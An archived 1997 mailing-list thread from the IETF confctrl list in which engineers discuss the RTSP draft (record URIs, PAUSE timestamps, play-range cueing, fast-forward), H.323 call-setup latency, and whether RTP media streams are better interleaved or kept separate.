> for the to-be-recorded session.

The problem is that with SETUP, you don't know yet whether you will be
recording or playing back or both.

Would it be sufficient to have the server decide whether to store this
at the request URI or at another one, to be returned via the Location:
header (as in POST)?


> |> PAUSE:
> |> - can PAUSE indicate an SMPTE or Absolute Time stamp?
> |
> |This would seem desirable for editing, right?
> 
> Yep.
> 

Added to the document.

> |
> |>
> |> Along the same lines:
> |> - a PLAY range will result in which? the server going to PAUSE at end
> |> of range or CLOSE at the end of range?
> |
> |PAUSE would seem to make more sense.
> 
> So I thought, just wanted to clarify.
> 
Clarified in the document.

From majordom@ISI.EDU  Sun Mar  2 22:41:18 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA23152>; Mon, 3 Mar 1997 06:41:26 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA23146>; Mon, 3 Mar 1997 06:41:23 -0800
Received: from mailhost.nttlabs.com (ns.nttlabs.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA21657>; Mon, 3 Mar 1997 06:41:22 -0800
Received: from coltrane.nttlabs.com by mailhost.nttlabs.com (8.8.4+2.7Wbeta4/3.5Wpl2(97/01/23))
	id GAA26050; Mon, 3 Mar 1997 06:41:19 -0800 (PST)
Message-Id: <199703031441.GAA26050@mailhost.nttlabs.com>
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Cc: confctrl@isi.edu
Subject: Re: New version of RTSP draft 
Reply-To: sumisu@nttlabs.com (Jeffrey D. Smith)
In-Reply-To: Your message of "Mon, 03 Mar 1997 09:31:15 EST"
References: <330E28A7.1FC6@cs.columbia.edu> <199703022327.PAA13232@mailhost.nttlabs.com>
	 <331AD249.19A8@cs.columbia.edu> <199703031409.GAA25648@mailhost.nttlabs.com>
	  <331AE0B3.1F5E@cs.columbia.edu> 
Date: Mon, 03 Mar 1997 06:41:18 -0800
From: Jeff Smith <sumisu@nttlabs.com>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

|Jeff Smith wrote:
|
|> |I'm a bit confused by this statement, since the request URI in a RECORD
|> |would seem to be equivalent to that in a PUT (not POST, since POST
|> |specifies the URI that "handles" the content of the request).
|> 
|> Exactly.  But I also want the case where the server decides the URI
|> similar to POST where a client would request to record streams for a
|> project that has a URI (known to the user/application specific to the
|> project) and the server would respond with the complete URI to be used
|> for the to-be-recorded session.
|
|The problem is that with SETUP, you don't know yet whether you will be
|recording or playing back or both.
|
|Would it be sufficient to have the server decide whether to store this
|at the request URI or at another one, to be returned via the Location:
|header (as in POST)?

Sounds reasonable, with the default behavior of no URI submitted by
client resulting in the server generating a URI?

js

From majordom@ISI.EDU  Mon Mar  3 09:22:59 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA28998>; Mon, 3 Mar 1997 09:22:59 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA28983>; Mon, 3 Mar 1997 09:22:57 -0800
Received: from ALMADEN.IBM.COM by venera.isi.edu (5.65c/5.61+local-26)
	id <AA28888>; Mon, 3 Mar 1997 09:22:56 -0800
Received: from ALMADEN by almaden.ibm.com (IBM VM SMTP V2R2) with BSMTP id 7034;
   Mon, 03 Mar 97 09:21:48 PST
Received: by ALMADEN (XAGENTA 4.0) id 0494; Mon, 3 Mar 1997 09:21:47 -0800
Received: by almlnsg0.almaden.ibm.com (outermai.cmd 1.2 31 Aug 1993) 9:22am 3 Mar 1997
Received: by almlnsg0.almaden.ibm.com (IBM OS/2 SENDMAIL VERSION 1.3.14/)
          id AA8110; Mon, 03 Mar 97 09:22:48 -0800
Received: by ALMADEN (Lotus Notes Mail Gateway for SMTP V1.1) id
  EF4BF6F661AD4BE08825644F005E3C16; Mon,  3 Mar 97 09:22:43
Message-Id: <9703031722.AA8110@almlnsg0.almaden.ibm.com>
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Cc: confctrl <confctrl@isi.edu>
From: "Marc Eshel/Almaden/IBM" <eshel@almaden.ibm.com>
Date:  3 Mar 97  9:21:42
Subject: Re: New version of RTSP draft
Mime-Version: 1.0
Content-Type: Text/Plain
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Hi

> |> PAUSE:
> |> - can PAUSE indicate an SMPTE or Absolute Time stamp?
> |
> |This would seem desirable for editing, right?
>
> Yep.
>

PAUSE at-offset is also important for normal play (not only editing). When the
end user clicks
on PAUSE he/she expect to see/hear the stream stop immediately, but there are
packets of
data that are on the way and the server does not know what got to the client.
If the server will
start from where it paused some data might get lost.

Marc.


From majordom@ISI.EDU  Wed Mar  5 18:16:52 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA12714>; Wed, 5 Mar 1997 06:19:10 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA12707>; Wed, 5 Mar 1997 06:19:08 -0800
Received: from edu.lahti.fi by venera.isi.edu (5.65c/5.61+local-26)
	id <AA14453>; Wed, 5 Mar 1997 06:19:05 -0800
Received: (qmail 1076 invoked by uid 1067); 5 Mar 1997 14:16:52 -0000
Date: Wed, 5 Mar 1997 16:16:52 +0200 (EET)
From: Sampo Syreeni <decoy@edu.lahti.fi>
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Cc: "Jeffrey D. Smith" <sumisu@nttlabs.com>, confctrl@isi.edu
Subject: Re: New version of RTSP draft
In-Reply-To: <331AD249.19A8@cs.columbia.edu>
Message-Id: <Pine.LNX.3.95.970305161244.796B-100000@nexus.edu.lahti.fi>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

On Mon, 3 Mar 1997, Henning Schulzrinne wrote:

> > PAUSE:
> > - can PAUSE indicate an SMPTE or Absolute Time stamp?
> 
> This would seem desirable for editing, right?

Probably it's also useful for insuring that a subsequent request to resume
starts at the proper place even if there is considerable latency between
the client sends PAUSE and the time when the server gets to processing the
request.

> > Along the same lines:
> > - a PLAY range will result in which? the server going to PAUSE at end
> > of range or CLOSE at the end of range?
> 
> PAUSE would seem to make more sense. 

Another meta-level question from me: How about having the server remember
ranges and start the next if one exists?

Sampo Syreeni (Decoy/dAWN), student, <decoy@edu.lahti.fi>


hes' of the kind
described above?

Sampo Syreeni (Decoy/dAWN), student, <decoy@edu.lahti.fi>


From majordom@ISI.EDU  Tue Mar  4 22:27:54 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA12942>; Wed, 5 Mar 1997 06:28:11 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA12936>; Wed, 5 Mar 1997 06:28:09 -0800
Received: from mailhost.nttlabs.com (ns.nttlabs.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA14839>; Wed, 5 Mar 1997 06:28:08 -0800
Received: from coltrane.nttlabs.com by mailhost.nttlabs.com (8.8.4+2.7Wbeta4/3.5Wpl2(97/01/23))
	id GAA06924; Wed, 5 Mar 1997 06:27:55 -0800 (PST)
Message-Id: <199703051427.GAA06924@mailhost.nttlabs.com>
To: Sampo Syreeni <decoy@edu.lahti.fi>
Cc: Henning Schulzrinne <schulzrinne@cs.columbia.edu>, confctrl@isi.edu
Subject: Re: New version of RTSP draft 
Reply-To: sumisu@nttlabs.com (Jeffrey D. Smith)
In-Reply-To: Your message of "Wed, 05 Mar 1997 16:16:52 +0200"
References: <Pine.LNX.3.95.970305161244.796B-100000@nexus.edu.lahti.fi> 
Date: Wed, 05 Mar 1997 06:27:54 -0800
From: Jeff Smith <sumisu@nttlabs.com>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

|On Mon, 3 Mar 1997, Henning Schulzrinne wrote:
|
|> > PAUSE:
|> > - can PAUSE indicate an SMPTE or Absolute Time stamp?
|> 
|> This would seem desirable for editing, right?
|
|Probably it's also useful for insuring that a subsequent request to resume
|starts at the proper place even if there is considerable latency between
|the client sends PAUSE and the time when the server gets to processing the
|request.
|
|> > Along the same lines:
|> > - a PLAY range will result in which? the server going to PAUSE at end
|> > of range or CLOSE at the end of range?
|> 
|> PAUSE would seem to make more sense. 
|
|Another meta-level question from me: How about having the server remember
|ranges and start the next if one exists?

I'm not sure what you mean here... cue up a list of ranges that you
would like to play and have the server stream them in succession?

|
|Sampo Syreeni (Decoy/dAWN), student, <decoy@edu.lahti.fi>
|
|


From majordom@ISI.EDU  Wed Mar  5 19:25:52 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA14519>; Wed, 5 Mar 1997 07:21:25 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA14513>; Wed, 5 Mar 1997 07:21:24 -0800
Received: from edu.lahti.fi by venera.isi.edu (5.65c/5.61+local-26)
	id <AA17167>; Wed, 5 Mar 1997 07:21:20 -0800
Received: (qmail 1666 invoked by uid 1067); 5 Mar 1997 15:25:52 -0000
Date: Wed, 5 Mar 1997 17:25:52 +0200 (EET)
From: Sampo Syreeni <decoy@edu.lahti.fi>
Reply-To: Sampo Syreeni <decoy@edu.lahti.fi>
To: Jeff Smith <sumisu@nttlabs.com>
Cc: Henning Schulzrinne <schulzrinne@cs.columbia.edu>, confctrl@isi.edu
Subject: Re: New version of RTSP draft 
In-Reply-To: <199703051427.GAA06924@mailhost.nttlabs.com>
Message-Id: <Pine.LNX.3.95.970305163916.796L-100000@nexus.edu.lahti.fi>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

On Wed, 5 Mar 1997, Jeff Smith wrote:

> |> > Along the same lines:
> |> > - a PLAY range will result in which? the server going to PAUSE at end
> |> > of range or CLOSE at the end of range?
> |> 
> |> PAUSE would seem to make more sense. 
> |
> |Another meta-level question from me: How about having the server remember
> |ranges and start the next if one exists?
> 
> I'm not sure what you mean here... cue up a list of ranges that you
> would like to play and have the server stream them in succession?

Indeed. But so that even though playback may be in progress, doing a PLAY
with a certain play range would just add to the cue list. 

This is again about the network latencies. If the client wants to move to
a new point in a representation, loop a particular spot or whatever, then
just telling the server what to do would cause the network latencies to
mess up the coherence of the incoming data stream. The server wouldn't
necessarily seem to react to the requests fast enough. But if the client
knows in advance what to show, a dynamic cue can be constructed. In this
case the server instantaneously knows where to continue when a particular
PLAY range ends. If one is willing to give up the 'server liveliness'
test, then a PLAY without a range could be used to advance the cue list.
All this would fit in the protocol fairly nicely as the protocol already
has some server state. 

But remember, this is truly a meta-level question. The idea may not be
coherent enough to warrant addition to the protocol.

Sampo Syreeni (Decoy/dAWN), student, <decoy@edu.lahti.fi>



From majordom@ISI.EDU  Wed Mar  5 17:54:32 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA21787>; Wed, 5 Mar 1997 09:54:47 -0800
Received: from quark.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA21779>; Wed, 5 Mar 1997 09:54:45 -0800
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-23)
	id <AA21617>; Wed, 5 Mar 1997 09:54:36 -0800
Received: from sonic.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.09134-0@bells.cs.ucl.ac.uk>; Wed, 5 Mar 1997 17:54:32 +0000
To: confctrl@ISI.EDU
Subject: comment on intel i-d on h323 and internet
Date: Wed, 05 Mar 1997 17:54:32 +0000
Message-Id: <29079.857584472@cs.ucl.ac.uk>
From: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


very useful document.....it helped me see what the problems are very
nicely...

one thing that would sureley need resolving is that the RTTs for the
two TCP channels used to convey the h245 and q931 messages will be
variable, which means that the behaviour of a multiway conference will
be non-deterministic compared with one over ISDN?

jon 

From majordom@ISI.EDU  Wed Mar  5 12:59:44 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA10861>; Wed, 5 Mar 1997 15:00:03 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA10852>; Wed, 5 Mar 1997 15:00:00 -0800
Received: from seawind.bellcore.com by venera.isi.edu (5.65c/5.61+local-26)
	id <AA11416>; Wed, 5 Mar 1997 14:59:59 -0800
Received: (from huitema@localhost) by seawind.bellcore.com (8.6.9/8.6.10) id RAA23911; Wed, 5 Mar 1997 17:59:44 -0500
Date: Wed, 5 Mar 1997 17:59:44 -0500
From: huitema@bellcore.com (Christian Huitema)
Message-Id: <9703051759.ZM23909@seawind.bellcore.com>
In-Reply-To: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>
        "comment on intel i-d on h323 and internet" (Mar  5,  5:54pm)
References: <29079.857584472@cs.ucl.ac.uk>
X-Mailer: Z-Mail (3.2.1 10oct95)
To: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>, confctrl@isi.edu
Subject: Re: comment on intel i-d on h323 and internet
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Last time I counted, doing RAS + q931 + H245 implied :

1 RTT for RAS,
3 RTT for q931:
        1 for the TCP SYN,
        1 for the TP0 SYN in RFC1006
        1 for the q931 call set up
4 RTT for h245:
        1 for the TCP SYN
        1 for TP0
        1 for the capacity exchange
        1 for the channel open
which implies 8 RTT before you set up, say, a telephone call.  The
current Internet RTT for a long distance transmission is at best 100 ms,
more likely 200.  So, we are speaking of 0.8 to 1.6 seconds to set up
the call.  If you have any transmission error, you have to add 4 seconds,
i.e. the initial timer estimate of TCP.  and we can certainly expect
quite a few errors on long distance transmissions...


-- 
Christian Huitema

From majordom@ISI.EDU  Wed Mar  5 07:05:00 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA11350>; Wed, 5 Mar 1997 15:09:06 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA11344>; Wed, 5 Mar 1997 15:09:03 -0800
Received: from INET-05-IMC.microsoft.com (mail5.microsoft.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA11908>; Wed, 5 Mar 1997 15:09:03 -0800
Received: by INET-05-IMC with Internet Mail Service (5.0.1457.3)
	id <GLPWD7GS>; Wed, 5 Mar 1997 15:07:32 -0800
Message-Id: <503A2A3C2932CF118D8800805FD44E1802BBD79B@RED-68-MSG>
From: Eric Fleischman <ericfl@MICROSOFT.com>
To: "'confctrl@isi.edu'" <confctrl@isi.edu>,
        "'rem-conf@es.net'"
	 <rem-conf@es.net>
Subject: In Defense of Interleaved Data Formats
Date: Wed, 5 Mar 1997 15:05:00 -0800
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1457.3)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

The list of reasons given in Section 5.2 of RFC 1889 as to why RTP
sessions must be segregated by media type reminds me of a discussion I
overheard a few years back. The one guy was saying "Trucks should be
banned from the roadways. They are reckless, prone-to-overturn hazards
belching out huge amounts of pollution. Their compression breaks cause
deafness and their weight fosters the premature breakdown of the road
surfaces..." At this point he lost me because I started to think about
the implications of hauling manure, gravel, or plywood with cars. My
brother-in-law, of course, does exactly that by using a specially
constructed trailer made just for such purposes. But then, he gets stuck
in some pretty pitiful places. 

Mind you, I'm not adverse to cars - I own one myself and use it for my
daily commute. Similarly, I would gladly say "amen" in any praise
meeting about the advantages of payload-segregated RTP traffic. I
readily concur that this approach leads to some marvelously creative
solutions for a wide variety of practical problems.  I am actively
interested in Van Jacobson's and Steve McCanne's "Receiver-driven
Layered Multicast" research. Hey! I really do believe! Don't get me
wrong: I'm all for cars! ... I just want to use my truck when it comes
to hauling gravel. 

Separately encoded media RTP sessions are a marvelous solution to
conferencing applications. They can also be used for "On-Demand"
Streaming applications -- just like my brother-in-law can successfully
haul gravel with his trailer. However, there are many occasions when
"On-Demand Streaming" requires the use of interleaved data formats.
Here's a few:

1.	You can save substantial amount of overhead for sessions
accessed by low speed modems. The argument here is that by interleaving,
only one IP, UDP, and RTP header is used, instead of the X number of
duplicate headers for each of the X media types. (Of course everything
is packetized so this saving accumulates at a constant rate.) The
counter-argument against this is that Van Jacobson's header compression
can convert these extra headers down to the size of pinheads, saving
even more than the original savings. Then the counter-argument to that
counter-argument is that if you are spending that type of overhead
(i.e., on-the-fly compression) to process your "on demand" application
then the number of sessions you can simultaneously support on that
server is detrimentally impacted. (Is this a ploy by high-end machine
builders to sell more product or what?) 

2.	While some "on-demand" content is thrown together by
chimpanzees, most of it is carefully crafted by artisans. For this
reason, most on-demand streaming applications go to extraordinary
lengths to ensure that the multimedia experience presented to the client
is the identical multimedia experience which was designed by the content
creator. Interleaving encourages tight synchronization and offers a
higher degree of probability for preserving the designed experience in
the presence of data loss, network variability, and sunspots.

3.	On-demand media may be composed of many media types. Some of
these are "streaming" media types (e.g., voice, video, and MIDI) while
others are not (e.g., still images, URL flippings, script commands and
executables). "On demand uses" also encourage the innovative invention
of rare media types. Regardless, the net effect is that there will be N
media streams for on-demand usages where N may be quite a handful.
Interleaving permits these many media streams to be presented in a
harmonious, orchestrated and optionally synchronized fashion. While this
is an expansion on the previous point, it also seeks to highlight that
conferencing and "on-demand" uses are quite different when it comes to
range of media which must be coordinated and the variability and
precision demanded for controlling the interaction between these media
types.

4.	Disk-head movement efficiency on the server. The argument here
is that interleaving encourages more efficient disk storage approaches
with superior I/O processing capabilities. This directly effects the
construction of more efficient network streaming approaches. This
efficiency directly translates into server performance including the
ability to support a larger number of simultaneous "On-demand" sessions
by that server.

I own both a truck and a car. I similarly want to use media segregated
streams over RTP in environments where it makes sense to do so and to
use interleaved data streams over RTP in environments where it makes
sense to do so.
One exciting aspect of the current RTSP proposal is that it should
theoretically permit both approaches to be carried over RTP. Traditional
RTP traffic can be carried in the traditional way. Interleaved data
traffic can be supported via encapsulating the media definitions (e.g.,
the information contained within an ASF or RMFF header) which can be
obtained by an RTSP "get" command. A dynamic RTP payload type value can
then be associated with that header information for that session. The
ASF or RMFF data can then be "streamed" via RTP and interpreted
correctly.

From majordom@ISI.EDU  Wed Mar  5 14:24:26 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA15340>; Wed, 5 Mar 1997 16:24:33 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA15330>; Wed, 5 Mar 1997 16:24:30 -0800
Received: from cs.columbia.edu by venera.isi.edu (5.65c/5.61+local-26)
	id <AA16207>; Wed, 5 Mar 1997 16:24:29 -0800
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.27.35]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id TAA26991 for <confctrl@isi.edu>; Wed, 5 Mar 1997 19:24:27 -0500 (EST)
Received: from erlang.cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with SMTP id TAA08485 for <confctrl@isi.edu>; Wed, 5 Mar 1997 19:24:27 -0500 (EST)
Message-Id: <331E0EBA.3AA3@cs.columbia.edu>
Date: Wed, 05 Mar 1997 19:24:26 -0500
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 3.0 (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: confctrl@isi.edu
Subject: RTSP: terminology, time axis
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

To align with DSM-CC usage, I suggest the use of the terms "normal play
time" (NPT) for the common time line spanning multiple tracks and
"event" (instead of set of streams, presentation, etc.). Also, it should
probably be made clear that that time axis in RTSP should correspond to
the RTP SR time units (NTP timestamps). Otherwise, editing and display
of frame counters becomes difficult.

DSM-CC allows to have nested time axes (contentID), so that a commercial
can have an independent time axis. This would seem to make any type of
counter display and positioning (slider, etc.) at the client very
difficult to implement and greatly complicate the play command (need to
specify contentID as well). Is this necessary, given that a server can
construct a single, uniform play axis easily?

DSM-CC also allows non-zero initial time values. Since the server can
easily reconstruct a zero-based time axis, this only seems to complicate
things, particularly in terms of user interface.

Comments, please.
-- 
Henning Schulzrinne         email: schulzrinne@cs.columbia.edu
Dept. of Computer Science   phone: +1 212 939-7042
Columbia University         fax:   +1 212 666-0140
New York, NY 10027          URL:   http://www.cs.columbia.edu/~hgs

From majordom@ISI.EDU  Wed Mar  5 14:32:55 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA15590>; Wed, 5 Mar 1997 16:33:01 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA15584>; Wed, 5 Mar 1997 16:32:59 -0800
Received: from cs.columbia.edu by venera.isi.edu (5.65c/5.61+local-26)
	id <AA16729>; Wed, 5 Mar 1997 16:32:58 -0800
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.27.35]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id TAA27186 for <confctrl@isi.edu>; Wed, 5 Mar 1997 19:32:56 -0500 (EST)
Received: from erlang.cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with SMTP id TAA08495 for <confctrl@isi.edu>; Wed, 5 Mar 1997 19:32:55 -0500 (EST)
Message-Id: <331E10B7.12B5@cs.columbia.edu>
Date: Wed, 05 Mar 1997 19:32:55 -0500
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 3.0 (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: confctrl@isi.edu
Subject: RTSP: relative time
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Is there a need for a relative timing measurement other than SMPTE? In
particular, is there a need for time expressed simply as some whole
number of seconds (doesn't really matter if hh:mm:ss or a second count)
and a fractional second of whatever precision?
-- 
Henning Schulzrinne         email: schulzrinne@cs.columbia.edu
Dept. of Computer Science   phone: +1 212 939-7042
Columbia University         fax:   +1 212 666-0140
New York, NY 10027          URL:   http://www.cs.columbia.edu/~hgs

From majordom@ISI.EDU  Wed Mar  5 14:36:18 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA15777>; Wed, 5 Mar 1997 16:37:53 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA15770>; Wed, 5 Mar 1997 16:37:51 -0800
Received: from buttle.lcs.mit.edu by venera.isi.edu (5.65c/5.61+local-26)
	id <AA17093>; Wed, 5 Mar 1997 16:37:50 -0800
Received: from buttle.lcs.mit.edu by buttle.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id TAA08948; Wed, 5 Mar 1997 19:36:18 -0500
From: Mark Handley <mjh@isi.edu>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Eric Fleischman <ericfl@MICROSOFT.com>
Cc: "'confctrl@isi.edu'" <confctrl@isi.edu>,
        "'rem-conf@es.net'" <rem-conf@es.net>
Subject: Re: In Defense of Interleaved Data Formats 
In-Reply-To: Your message of "Wed, 05 Mar 1997 15:05:00 PST."
             <503A2A3C2932CF118D8800805FD44E1802BBD79B@RED-68-MSG> 
Date: Wed, 05 Mar 1997 19:36:18 -0500
Message-Id: <8946.857608578@buttle.lcs.mit.edu>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>The list of reasons given in Section 5.2 of RFC 1889 as to why RTP
>sessions must be segregated by media type reminds me...
...
>However, there are many occasions when
>"On-Demand Streaming" requires the use of interleaved data formats.
>Here's a few:

>1.	You can save substantial amount of overhead for sessions
>accessed by low speed modems.
...
>(i.e., on-the-fly compression) to process your "on demand" application
>then the number of sessions you can simultaneously support on that
>server is detrimentally impacted.

Note that header compression is not end-to-end, but only between your
end-system and its local terminal server.  It doesn't impact 
multimedia data servers at all.


>2.  ... Interleaving encourages tight synchronization and offers a
>higher degree of probability for preserving the designed experience in
>the presence of data loss, network variability, and sunspots.

Actually this isn't true.  Interleaving gives the network less
oportunity to preserve your audio preferentially from your video if
the network gets loaded (which is usually the right thing to do).

In addition, synchronisation is no easier.  You have all the same
information in separate RTP streams that you have in interleaved
streams.  In either case you need to cope with mismatches in clock
rate between the video stream and a receiving audio device that which
is not clocked at exactly the frequency the manufacturer claims.  Once
you're re-tuning the audio buffering periodically, it makes no
difference whether the streams were transported together or
separately.

>3.	On-demand media may be composed of many media types. Some of
>these are "streaming" media types (e.g., voice, video, and MIDI) while
>others are not (e.g., still images, URL flippings, script commands and
>executables). "On demand uses" also encourage the innovative invention
>of rare media types. Regardless, the net effect is that there will be N
>media streams for on-demand usages where N may be quite a handful.

This seems to be an argument *against* interleaving to me...

>4.	Disk-head movement efficiency on the server. The argument here
>is that interleaving encourages more efficient disk storage approaches
>with superior I/O processing capabilities. This directly effects the
>construction of more efficient network streaming approaches.

Separate streams lets you store your audio and video on different
discs, and hence *improves* performance in some cases :-)

Besides, if your server isn't doing some form of tuning to available
bandwidth, it's going to be a dinosaur in the long run.  Right now you
might get away with it but the internet won't stand large numbers of
unadaptive streams, and so we'll get schemes like RED, CBQ, WFQ, etc
deployed to defend it.  Once the server is doing bandwidth adaption of
such streams, I don't really believe that the "interleaving impacts
the disc" argument holds well because you'll likely be using layered
codecs anyway.  At the very least, you won't be able to stream
straight from disc to net.

Mark

From majordom@ISI.EDU  Wed Mar  5 09:51:42 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA19104>; Wed, 5 Mar 1997 18:05:08 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA19098>; Wed, 5 Mar 1997 18:05:05 -0800
Received: from INET-04-IMC.microsoft.com (mail4.microsoft.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA21412>; Wed, 5 Mar 1997 18:05:05 -0800
Received: by INET-04-IMC.microsoft.com with SMTP (Microsoft Exchange Server Internet Mail Connector Version 4.0.994.63)
	id <01BC298F.D401C840@INET-04-IMC.microsoft.com>; Wed, 5 Mar 1997 18:05:37 -0800
Message-Id: <c=US%a=_%p=msft%l=RED-68-MSG-970306015142Z-31222@INET-04-IMC.microsoft.com>
From: Eric Fleischman <ericfl@MICROSOFT.com>
To: 'Sampo Syreeni' <decoy@edu.lahti.fi>, 'Jeff Smith'
	 <sumisu@nttlabs.com>
Cc: 'Henning Schulzrinne' <schulzrinne@cs.columbia.edu>,
        "'confctrl@isi.edu'" <confctrl@isi.edu>
Subject: Pause, Fast-Forward, Fast-rewind in RTSP
Date: Wed, 5 Mar 1997 17:51:42 -0800
X-Mailer:  Microsoft Exchange Server Internet Mail Connector Version 4.0.994.63
Encoding: 91 TEXT
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

I'm sorry, guys, but I can't grok this conversation you are having about 
"Pause". My trouble isn't that you have been unclear in your arguments but 
rather that we seem to have fundamentally different presuppositions as to 
how things will work "under the covers". I therefore would be honored if 
you would try to see things from my point-of-view in the hopes that perhaps 
you would then be able to "span the gap" between us.

Firstly, maintaining "Pause state" in the server is not a scalable 
solution. What we rather have done in our streaming media products is to 
treat "pause" as follows:
7	The user thinks (s)he is pausing, but what (s)he really is doing is a 
"stop".
7	The client remembers the point at which the "stop" took place -- this 
state is solely kept in the client.
7	When the user hits play (start), the user thinks that (s)he is resuming, 
but what (s)he is really doing is starting with an offset set to where the 
client had previously stopped. Therefore, the server starts playing from 
that offset.

This is all very clean and has permitted our streaming servers to scale to 
a thousand (or more) simultaneous sessions. This would not have been 
possible had we been using the algorithm this discussion seems to be 
assuming.

Related user controls which seems to have been overlooked by the RTSP draft 
are "fast forward" and "fast rewind". These are very important controls 
which are quite popular with users. Unfortunately, they are only possible 
for certain media types such as video. The way these commands work is very 
similar to the "pause", so I mention it here for completeness' sake.

The "play" (or start) command actually has two parameters. It has the 
offset previously mentioned in regards to "pause" above and it also 
contains a "rate" parameter. This rate parameter does *not* refer to the 
data rate - the data rate is fixed for that session. Rather, "rate" refers 
to the timeline upon which the streaming "media experience" is built. The 
timeline rate may be arbitrarily sped up (I believe that our product 
currently supports up to a 10x speed-up, though there is no technical 
reason why it couldn't be slower or faster). For fast-forward and 
fast-rewind, the server therefore has to compute at what offset to "skip 
to" to match that accelerated timeline. It is aided in this task by the 
indexing present in certain media types - no indexing, then no fast-forward 
or fast-rewind capability. What this generally means is that only the 
key-frames are sent during fast-forward and fast-reverse. And not every 
key-frame will necessarily be set depending on the timeline acceleration 
speed selected for the timeline advancement.

-----Original Message-----
From:	Sampo Syreeni [SMTP:decoy@edu.lahti.fi]
Sent:	Wednesday, March 05, 1997 7:26 AM
To:	Jeff Smith
Cc:	Henning Schulzrinne; confctrl@isi.edu
Subject:	Re: New version of RTSP draft

On Wed, 5 Mar 1997, Jeff Smith wrote:

> |> > Along the same lines:
> |> > - a PLAY range will result in which? the server going to PAUSE at 
end
> |> > of range or CLOSE at the end of range?
> |>
> |> PAUSE would seem to make more sense.
> |
> |Another meta-level question from me: How about having the server 
remember
> |ranges and start the next if one exists?
>
> I'm not sure what you mean here... cue up a list of ranges that you
> would like to play and have the server stream them in succession?

Indeed. But so that even though playback may be in progress, doing a PLAY
with a certain play range would just add to the cue list.

This is again about the network latencies. If the client wants to move to
a new point in a representation, loop a particular spot or whatever, then
just telling the server what to do would cause the network latencies to
mess up the coherence of the incoming data stream. The server wouldn't
necessarily seem to react to the requests fast enough. But if the client
knows in advance what to show, a dynamic cue can be constructed. In this
case the server instantaneously knows where to continue when a particular
PLAY range ends. If one is willing to give up the 'server liveliness'
test, then a PLAY without a range could be used to advance the cue list.
